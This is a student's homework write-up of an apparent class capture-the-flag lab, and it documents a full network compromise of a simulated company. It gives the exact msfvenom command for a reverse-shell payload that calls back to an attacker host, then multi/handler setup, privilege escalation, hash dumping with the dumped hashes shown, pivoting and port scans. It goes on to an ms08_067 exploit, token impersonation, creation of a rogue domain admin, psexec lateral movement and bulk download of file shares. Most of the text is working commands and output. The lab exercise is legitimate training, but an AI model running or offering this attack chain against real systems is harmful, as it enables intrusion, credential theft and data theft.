Homework 5

Rajat Vij

Step 1. Created a payload using msfvenom

* msfvenom -a x86 --platform windows -p windows/meterpreter/reverse\_tcp LHOST=172.17.17.116 LPORT=31337 -f exe -o /tmp/evil.exe

Step 2. Started apache server and copied the payload in /var/www/html/ folder with 755 permission

* apache2 start
* cp /tmp/evil.exe /var/www/html/
* chmod 755 /var/www/html/evil.exe

Step 3. In Windows, downloaded payload using ip address of kali box.

Use url 172.17.17.116/evil.exe in internet explorer

Step 4. In kali box, Started multi handler exploit.

* use exploit/multi/handler
* set payload windows/meterpreter/reverse\_tcp
* set LHOST 172.17.17.116
* set LPORT 31337
* exploit

Step 5. Ran Payload in Windows machine

* Run evil.exe

Step 6. Got into meterpreter. Check various information regarding windows system.

* Migrate to x64 process

meterpreter > migrate 488

**[\*]** Migrating from 1032 to 488...

**[\*]** Migration completed successfully.

Step 7. Background the meterpreter and used background session with exploit/windows/local/ms10\_092\_schelevator to get system privillages.

* Run hashdump

meterpreter > run hashdump

**[\*]** Obtaining the boot key...

**[\*]** Calculating the hboot key using SYSKEY 45472cffc524810b845629ca812556c0...

**[\*]** Obtaining the user list and keys...

**[\*]** Decrypting user keys...

**[\*]** Dumping password hints...

user2:"P@"

**[\*]** Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

user2:1000:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::

* Check the shared drive on shell. Ping the smb-server to get smb-server’s ipaddress.

C:\Windows\system32>net use

net use

New connections will be remembered.

Status Local Remote Network

-------------------------------------------------------------------------------

Unavailable Z: \\smb-server\filestore Microsoft Windows Network

The command completed successfully.

ping smb-server

ping smb-server

Pinging smb-server.widget-corp.tiwaz.net [10.10.94.20] with 32 bytes of data:

Reply from 10.10.94.20: bytes=32 time<1ms TTL=127

Reply from 10.10.94.20: bytes=32 time<1ms TTL=127

Reply from 10.10.94.20: bytes=32 time<1ms TTL=127

Reply from 10.10.94.20: bytes=32 time<1ms TTL=127

Ping statistics for 10.10.94.20:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

Now we know that there is another network(10.10.94.0/24) available to us

Step 8. Ran autoroute for both 10.10.93.0/24 and 192.168.93.0/24 network.

meterpreter > run autoroute -s 10.10.93.0/24

**[\*]** Adding a route to 10.10.93.0/255.255.255.0...

**[+]** Added route to 10.10.93.0/255.255.255.0 via 10.10.93.101

**[\*]** Use the -p option to list all active routes

meterpreter > run autoroute -s 10.10.94.0/24

**[\*]** Adding a route to 10.10.94.0/255.255.255.0...

**[+]** Added route to 10.10.94.0/255.255.255.0 via 10.10.93.101

**[\*]** Use the -p option to list all active routes

Step 9. Ran TCP port scan for both 10.10.93.0/24 and 10.10.94.0/24 network:

msf exploit(**ms10\_092\_schelevator**) > use auxiliary/scanner/portscan/tcp

msf auxiliary(**tcp**) > set PORTS 139,445,80,25

PORTS => 139,445,80,25

msf auxiliary(**tcp**) > set RHOSTS 10.10.93.0/24

RHOSTS => 10.10.93.0/24

msf auxiliary(**tcp**) > set THREADS 25

THREADS => 25

msf auxiliary(**tcp**) > set TIMEOUT 200

TIMEOUT => 200

msf auxiliary(**tcp**) > run

**[\*]** 10.10.93.1:139 - TCP OPEN

**[\*]** 10.10.93.15:445 - TCP OPEN

**[\*]** 10.10.93.1:445 - TCP OPEN

**[\*]** Scanned 50 of 256 hosts (19% complete)

**[\*]** Scanned 68 of 256 hosts (26% complete)

**[\*]** Scanned 83 of 256 hosts (32% complete)

**[\*]** 10.10.93.102:445 - TCP OPEN

**[\*]** 10.10.93.104:445 - TCP OPEN

**[\*]** 10.10.93.100:445 - TCP OPEN

**[\*]** 10.10.93.104:139 - TCP OPEN

**[\*]** 10.10.93.100:139 - TCP OPEN

**[\*]** 10.10.93.101:139 - TCP OPEN

**[\*]** 10.10.93.103:139 - TCP OPEN

**[\*]** 10.10.93.103:445 - TCP OPEN

**[\*]** 10.10.93.102:139 - TCP OPEN

**[\*]** 10.10.93.105:445 - TCP OPEN

**[\*]** 10.10.93.101:445 - TCP OPEN

**[\*]** Scanned 104 of 256 hosts (40% complete)

**[\*]** Scanned 128 of 256 hosts (50% complete)

**[\*]** Scanned 154 of 256 hosts (60% complete)

**[\*]** Scanned 181 of 256 hosts (70% complete)

**[\*]** Scanned 205 of 256 hosts (80% complete)

**[\*]** Scanned 231 of 256 hosts (90% complete)

**[\*]** Scanned 256 of 256 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**tcp**) > set RHOSTS 10.10.94.0/24

RHOSTS => 10.10.94.0/24

msf auxiliary(**tcp**) > run

**[\*]** 10.10.94.1:139 - TCP OPEN

**[\*]** 10.10.94.5:139 - TCP OPEN

**[\*]** 10.10.94.5:25 - TCP OPEN

**[\*]** 10.10.94.5:80 - TCP OPEN

**[\*]** 10.10.94.5:445 - TCP OPEN

**[\*]** 10.10.94.20:445 - TCP OPEN

**[\*]** 10.10.94.20:139 - TCP OPEN

**[\*]** 10.10.94.1:445 - TCP OPEN

**[\*]** Scanned 37 of 256 hosts (14% complete)

**[\*]** Scanned 62 of 256 hosts (24% complete)

**[\*]** 10.10.94.99:80 - TCP OPEN

**[\*]** 10.10.94.99:25 - TCP OPEN

**[\*]** 10.10.94.99:139 - TCP OPEN

**[\*]** 10.10.94.99:445 - TCP OPEN

**[\*]** Scanned 82 of 256 hosts (32% complete)

**[\*]** 10.10.94.101:445 - TCP OPEN

**[\*]** 10.10.94.101:139 - TCP OPEN

**[\*]** 10.10.94.101:80 - TCP OPEN

**[\*]** Scanned 104 of 256 hosts (40% complete)

**[\*]** Scanned 128 of 256 hosts (50% complete)

**[\*]** Scanned 155 of 256 hosts (60% complete)

**[\*]** Scanned 180 of 256 hosts (70% complete)

**[\*]** Scanned 209 of 256 hosts (81% complete)

**[\*]** Scanned 235 of 256 hosts (91% complete)

**[\*]** 10.10.94.252:445 - TCP OPEN

**[\*]** 10.10.94.252:80 - TCP OPEN

**[\*]** 10.10.94.252:139 - TCP OPEN

**[\*]** Scanned 256 of 256 hosts (100% complete)

**[\*]** Auxiliary module execution completed

Step 10. Ran nmap scan with and without proxychains on the selected systems to check vulnerable systems in 10.10.93.0/24 and 10.10.94.0/24 network.

* Nmap –F ipaddress(worked only in 10.10.93.0/24 network) (got open ports in 10.10.93.15

Nmap scan report for 10.10.93.1

Host is up (0.00018s latency).

Not shown: 98 filtered ports

PORT STATE SERVICE

6000/tcp closed X11

6001/tcp closed X11:1

Nmap scan report for 10.10.93.15

Host is up (0.00066s latency).

Not shown: 88 closed ports

PORT STATE SERVICE

13/tcp filtered daytime

106/tcp filtered pop3pw

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

548/tcp filtered afp

873/tcp filtered rsync

5060/tcp filtered sip

8008/tcp filtered http

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

* proxychains nmap -sT -sV -Pn --version-all -p 80,139,445 ipaddress (worked in both 10.10.93.0/24 and 10.10.94.0/24 network) ( I added the open ports that I was able to discover using normal nmap. This gave open ports in 10.10.93.1 which were filtered for normal nmap)

Nmap scan report for 10.10.93.1

Host is up (4.7s latency).

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 10.10.93.15

Host is up (3.8s latency).

PORT STATE SERVICE

135/tcp open msrpc

445/tcp open microsoft-ds

Nmap scan report for 10.10.93.254

Host is up (3.6s latency).

PORT STATE SERVICE

22/tcp open ssh

179/tcp open bgp

Nmap scan report for 10.10.94.1

Host is up (11s latency).

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 10.10.94.5

Host is up (3.9s latency).

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 10.10.94.20

Host is up (3.3s latency).

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 10.10.94.99

Host is up (4.6s latency).

PORT STATE SERVICE

22/tcp open ssh

23/tcp open telnet

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 10.10.94.101

Host is up (11s latency).

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 10.10.94.252

Host is up (4.1s latency).

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Step 11. To get a better understanding of the systems on network I did a smb\_version scan

msf auxiliary(**socks4a**) > use scanner/smb/smb\_version

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.93.1,10.10.93.15

RHOSTS => 10.10.93.1,10.10.93.15

msf auxiliary(**smb\_version**) > run

**[-]** Auxiliary failed: Msf::OptionValidateError The following options failed to validate: RHOSTS.

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.93.1

RHOSTS => 10.10.93.1

msf auxiliary(**smb\_version**) > show options

Module options (auxiliary/scanner/smb/smb\_version):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS 10.10.93.1 yes The target address range or CIDR identifier

SMBDomain WORKGROUP no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.93.1:445 is running Windows 2008 R2 Standard (build:7600) (name:LATERALCTF-DC) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.93.15

RHOSTS => 10.10.93.15

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.93.15:445 is running Windows 7 Professional (build:7600) (name:WIDGETEER) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.93.254

RHOSTS => 10.10.93.254

msf auxiliary(**smb\_version**) > run

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.94.1

RHOSTS => 10.10.94.1

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.94.1:445 is running Windows 2008 R2 Standard (build:7600) (name:LATERALCTF-DC) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.94.5

RHOSTS => 10.10.94.5

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.94.5:445 is running Windows 2003 SP1 (build:3790) (name:VICTIM-SMTP) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.94.20

RHOSTS => 10.10.94.20

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.94.20:445 is running Windows 2003 SP1 (build:3790) (name:SMB-SERVER) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.94.99

RHOSTS => 10.10.94.99

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.94.99:445 could not be identified: Unix (Samba 3.0.20-Debian)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.94.101

RHOSTS => 10.10.94.101

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.94.101:445 is running Windows 2008 R2 Standard (build:7600) (name:2K8-VICTIM-HTTP) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

msf auxiliary(**smb\_version**) > set RHOSTS 10.10.94.252

RHOSTS => 10.10.94.252

msf auxiliary(**smb\_version**) > run

**[\*]** 10.10.94.252:445 is running Windows 2003 SP1 (build:3790) (name:HTTP-DEVEL) (domain:WIDGET-CORP)

**[\*]** Scanned 1 of 1 hosts (100% complete)

**[\*]** Auxiliary module execution completed

So final network map was like:

10.10.93.1(LATERALCTF-DC) - Windows 2008 R2

10.10.93.15(WIDGETEER) - Windows 7 - I am guess this is the target box

10.10.94.1(LATERALCTF-DC) - Windows 2008 R2

10.10.94.5(VICTIM-SMTP) - Windows 2003 SP1

10.10.94.20(SMB-SERVER) - Windows 2003 SP1

10.10.94.99- Unix Samba

10.10.94.101(2K8-VICTIM-HTTP) - Windows 2008 R2

10.10.94.252(HTTP-DEVEL) - Windows 2003 SP1

Step 11. Exploited windows/smb/ms08\_067\_netapi vulnerability to get into Windows 2003 SP1 servers. There I checked if any system has a user with which we can create a user which can be used in domain controller. I also ran hashdump in each system

msf auxiliary(**smb\_version**) > use windows/smb/ms08\_067\_netapi

msf exploit(**ms08\_067\_netapi**) > set RHOST 10.10.94.5

RHOST => 10.10.94.5

msf exploit(**ms08\_067\_netapi**) > set LHOST 172.17.17.116

LHOST => 172.17.17.116

msf exploit(**ms08\_067\_netapi**) > set LPORT 4545

LPORT => 4545

msf exploit(**ms08\_067\_netapi**) > set payload windows/meterpreter/reverse\_tcp

payload => windows/meterpreter/reverse\_tcp

msf exploit(**ms08\_067\_netapi**) > exploit

**[\*]** Started reverse handler on 172.17.17.116:4545

**[\*]** Automatically detecting the target...

**[\*]** Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown

**[\*]** We could not detect the language pack, defaulting to English

**[\*]** Selected Target: Windows 2003 SP1 English (NX)

**[\*]** Attempting to trigger the vulnerability...

**[\*]** Sending stage (885806 bytes) to 10.10.94.5

**[\*]** Meterpreter session 4 opened (172.17.17.116:4545 -> 10.10.94.5:1230) at 2016-03-07 19:41:36 -0500

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Step 12. On 10.10.94.252 I was able to find an admin user with which I was able to create a user on domain controller:

meterpreter > load incognito

Loading extension incognito...success.

meterpreter > list\_tokens -u

Delegation Tokens Available

========================================

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM

WIDGET-CORP\Administrator

Impersonation Tokens Available

========================================

NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate\_token WIDGET-CORP\\Administrator

[+] Delegation token available

[+] Successfully impersonated user WIDGET-CORP\Administrator

meterpreter > shell

Process 3556 created.

Channel 2 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user eviluser EvilPass1 /add /domain

net user eviluser EvilPass1 /add /domain

The request will be processed at a domain controller for domain widget-corp.tiwaz.net.

The command completed successfully.

C:\WINDOWS\system32>net group "Domain Admins" eviluser /add /domain

net group "Domain Admins" eviluser /add /domain

The request will be processed at a domain controller for domain widget-corp.tiwaz.net.

The command completed successfully.

Step 13. Run psexec to get into domain controllers, widgeteer and other systems.

msf exploit(**handler**) > use exploit/windows/smb/psexec

msf exploit(**psexec**) > set RHOST 10.10.93.15

RHOST => 10.10.93.15

msf exploit(**psexec**) > set SMBUSER eviluser

SMBUSER => eviluser

msf exploit(**psexec**) > set SMBPASS EvilPass1

SMBPASS => EvilPass1

msf exploit(**psexec**) > set SMBDOMAIN WIDGET-CORP

SMBDOMAIN => WIDGET-CORP

msf exploit(**psexec**) > exploit

**[\*]** Started reverse handler on 172.17.17.116:4444

**[\*]** Connecting to the server...

**[\*]** Authenticating to 10.10.93.15:445|WIDGET-CORP as user 'eviluser'...

**[\*]** Uploading payload...

**[\*]** Created \QXMEVkbi.exe...

**[\*]** Sending stage (885806 bytes) to 10.10.93.15

**[+]** 10.10.93.15:445 - Service started successfully...

**[\*]** Deleting \QXMEVkbi.exe...

**[\*]** Meterpreter session 2 opened (172.17.17.116:4444 -> 10.10.93.15:52525) at 2016-03-09 22:47:46 -0500

Step 14. Now that we can move in the network and have multiple sessions in background we can download files from the various machines.

Shared Files from smb-server

meterpreter > download C:\\filestore\\HR

**[\*]** downloading: C:\filestore\HR\Aniversary Party Flier v1.png -> HR/Aniversary Party Flier v1.png

**[\*]** download : C:\filestore\HR\Aniversary Party Flier v1.png -> HR/Aniversary Party Flier v1.png

**[\*]** downloading: C:\filestore\HR\Aniversary Party Flier v2.png -> HR/Aniversary Party Flier v2.png

**[\*]** download : C:\filestore\HR\Aniversary Party Flier v2.png -> HR/Aniversary Party Flier v2.png

**[\*]** downloading: C:\filestore\HR\College internship program.png -> HR/College internship program.png

**[\*]** download : C:\filestore\HR\College internship program.png -> HR/College internship program.png

**[\*]** downloading: C:\filestore\HR\Company retreat flier v1.png -> HR/Company retreat flier v1.png

**[\*]** download : C:\filestore\HR\Company retreat flier v1.png -> HR/Company retreat flier v1.png

**[\*]** downloading: C:\filestore\HR\Company retreat flier v2.png -> HR/Company retreat flier v2.png

**[\*]** download : C:\filestore\HR\Company retreat flier v2.png -> HR/Company retreat flier v2.png

**[\*]** downloading: C:\filestore\HR\Human Resources Strategy.png -> HR/Human Resources Strategy.png

**[\*]** download : C:\filestore\HR\Human Resources Strategy.png -> HR/Human Resources Strategy.png

**[\*]** downloading: C:\filestore\HR\Telework Strategy.png -> HR/Telework Strategy.png

**[\*]** download : C:\filestore\HR\Telework Strategy.png -> HR/Telework Strategy.png

meterpreter > download C:\\filestore\\finance

**[\*]** downloading: C:\filestore\finance\IRS Audit Defense Plan.png -> finance/IRS Audit Defense Plan.png

**[\*]** download : C:\filestore\finance\IRS Audit Defense Plan.png -> finance/IRS Audit Defense Plan.png

**[\*]** downloading: C:\filestore\finance\Widget Corp IPO Documentation.png -> finance/Widget Corp IPO Documentation.png

**[\*]** download : C:\filestore\finance\Widget Corp IPO Documentation.png -> finance/Widget Corp IPO Documentation.png

**[\*]** downloading: C:\filestore\finance\Widget Corp IPO initial price projection.png -> finance/Widget Corp IPO initial price projection.png

**[\*]** download : C:\filestore\finance\Widget Corp IPO initial price projection.png -> finance/Widget Corp IPO initial price projection.png

meterpreter > download C:\\filestore\\Marketing

**[\*]** downloading: C:\filestore\Marketing\Corporate Profile - CIO.png -> Marketing/Corporate Profile - CIO.png

**[\*]** download : C:\filestore\Marketing\Corporate Profile - CIO.png -> Marketing/Corporate Profile - CIO.png

**[\*]** downloading: C:\filestore\Marketing\Corporate Profile - CTO.png -> Marketing/Corporate Profile - CTO.png

**[\*]** download : C:\filestore\Marketing\Corporate Profile - CTO.png -> Marketing/Corporate Profile - CTO.png

**[\*]** downloading: C:\filestore\Marketing\Corporate Profile - President.png -> Marketing/Corporate Profile - President.png

**[\*]** download : C:\filestore\Marketing\Corporate Profile - President.png -> Marketing/Corporate Profile - President.png

**[\*]** downloading: C:\filestore\Marketing\Corporate Profile - Widgeteer.png -> Marketing/Corporate Profile - Widgeteer.png

**[\*]** download : C:\filestore\Marketing\Corporate Profile - Widgeteer.png -> Marketing/Corporate Profile - Widgeteer.png

**[\*]** downloading: C:\filestore\Marketing\Employee of the Month award winner.png -> Marketing/Employee of the Month award winner.png

**[\*]** download : C:\filestore\Marketing\Employee of the Month award winner.png -> Marketing/Employee of the Month award winner.png

**[\*]** downloading: C:\filestore\Marketing\Future promotional materials.png -> Marketing/Future promotional materials.png

**[\*]** download : C:\filestore\Marketing\Future promotional materials.png -> Marketing/Future promotional materials.png

meterpreter > download C:\\filestore\\development

meterpreter > download "C:\\filestore\\Executive Planning"

**[\*]** downloading: C:\filestore\Executive Planning\(sensitive) Project overview and milestones.png -> Executive Planning/(sensitive) Project overview and milestones.png

**[\*]** download : C:\filestore\Executive Planning\(sensitive) Project overview and milestones.png -> Executive Planning/(sensitive) Project overview and milestones.png

**[\*]** downloading: C:\filestore\Executive Planning\Competitive synergistic consolidation strategy.png -> Executive Planning/Competitive synergistic consolidation strategy.png

**[\*]** download : C:\filestore\Executive Planning\Competitive synergistic consolidation strategy.png -> Executive Planning/Competitive synergistic consolidation strategy.png

**[\*]** downloading: C:\filestore\Executive Planning\Legacy business plan.png -> Executive Planning/Legacy business plan.png

**[\*]** download : C:\filestore\Executive Planning\Legacy business plan.png -> Executive Planning/Legacy business plan.png

**[\*]** downloading: C:\filestore\Executive Planning\New facility physical plant security strategy.png -> Executive Planning/New facility physical plant security strategy.png

**[\*]** download : C:\filestore\Executive Planning\New facility physical plant security strategy.png -> Executive Planning/New facility physical plant security strategy.png

**[\*]** downloading: C:\filestore\Executive Planning\Project plan for Q2 2015.png -> Executive Planning/Project plan for Q2 2015.png

**[\*]** download : C:\filestore\Executive Planning\Project plan for Q2 2015.png -> Executive Planning/Project plan for Q2 2015.png

**[\*]** downloading: C:\filestore\Executive Planning\Q4 marketing plan (kinda a big deal).png -> Executive Planning/Q4 marketing plan (kinda a big deal).png

**[\*]** download : C:\filestore\Executive Planning\Q4 marketing plan (kinda a big deal).png -> Executive Planning/Q4 marketing plan (kinda a big deal).png

**[\*]** downloading: C:\filestore\Executive Planning\Visit from the Bobs.png -> Executive Planning/Visit from the Bobs.png

**[\*]** download : C:\filestore\Executive Planning\Visit from the Bobs.png -> Executive Planning/Visit from the Bobs.png

**[\*]** downloading: C:\filestore\Executive Planning\WIDGET-CORP Strategic Plan.png -> Executive Planning/WIDGET-CORP Strategic Plan.png

**[\*]** download : C:\filestore\Executive Planning\WIDGET-CORP Strategic Plan.png -> Executive Planning/WIDGET-CORP Strategic Plan.png

**[\*]** downloading: C:\filestore\Executive Planning\Widgets Online Activity House.png -> Executive Planning/Widgets Online Activity House.png

**[\*]** download : C:\filestore\Executive Planning\Widgets Online Activity House.png -> Executive Planning/Widgets Online Activity House.png

Files from Widgeteer box 10:

meterpreter > download "Corporate Profile - Widgeteer.png"

**[\*]** downloading: Corporate Profile - Widgeteer.png -> Corporate Profile - Widgeteer.png

**[\*]** download : Corporate Profile - Widgeteer.png -> Corporate Profile - Widgeteer.png

meterpreter > download "Engineering Schematics (sensitive!)"

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 1.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 1.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 1.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 1.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 2.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 2.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 2.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 2.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 3.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 3.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 3.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 3.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 4.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 4.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 4.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 4.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 5.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 5.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 5.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 5.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 6.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 6.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 6.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 6.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 7.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 7.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 7.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 7.png

**[\*]** downloading: Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 8.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 8.png

**[\*]** download : Engineering Schematics (sensitive!)\Widgets-ng engineering schematic part 8.png -> Engineering Schematics (sensitive!)/Widgets-ng engineering schematic part 8.png

Move all in a single folder and copy to the local machine

MacBook-Pro-2:~ Rajat$ scp -r -P52525 csci6907@class.tiwaz.net:/home/csci6907/cnd ~/Desktop/

csci6907@class.tiwaz.net's password:

Legacy business plan.png 100% 131KB 130.9KB/s 00:00

Visit from the Bobs.png 100% 320KB 319.9KB/s 00:00

Project plan for Q2 2015.png 100% 308KB 308.5KB/s 00:00

Competitive synergistic consolidation strategy.png 100% 162KB 161.7KB/s 00:01

Q4 marketing plan (kinda a big deal).png 100% 232KB 231.6KB/s 00:00

WIDGET-CORP Strategic Plan.png 100% 195KB 195.0KB/s 00:01

Widgets Online Activity House.png 100% 253KB 253.5KB/s 00:00

New facility physical plant security strategy.png 100% 189KB 189.4KB/s 00:00

(sensitive) Project overview and milestones.png 100% 266KB 265.8KB/s 00:00

Corporate Profile - CTO.png 100% 229KB 229.0KB/s 00:00

Corporate Profile - CIO.png 100% 379KB 378.6KB/s 00:00

Employee of the Month award winner.png 100% 87KB 87.2KB/s 00:00

Corporate Profile - Widgeteer.png 100% 169KB 169.3KB/s 00:00

Corporate Profile - President.png 100% 184KB 183.6KB/s 00:00

Future promotional materials.png 100% 238KB 237.8KB/s 00:00

Human Resources Strategy.png 100% 277KB 277.5KB/s 00:00

Company retreat flier v1.png 100% 281KB 281.1KB/s 00:00

Aniversary Party Flier v2.png 100% 296KB 295.6KB/s 00:00

Aniversary Party Flier v1.png 100% 384KB 384.2KB/s 00:00

Telework Strategy.png 100% 520KB 519.9KB/s 00:00

Company retreat flier v2.png 100% 363KB 363.1KB/s 00:00

College internship program.png 100% 288KB 288.5KB/s 00:00

Widget Corp IPO initial price projection.png 100% 355KB 354.6KB/s 00:00

Widget Corp IPO Documentation.png 100% 299KB 299.2KB/s 00:00

IRS Audit Defense Plan.png 100% 341KB 341.4KB/s 00:00

I was not able to find the SSN File, I guess its in one of the systems but the few that I tried searching didn’t result in anything.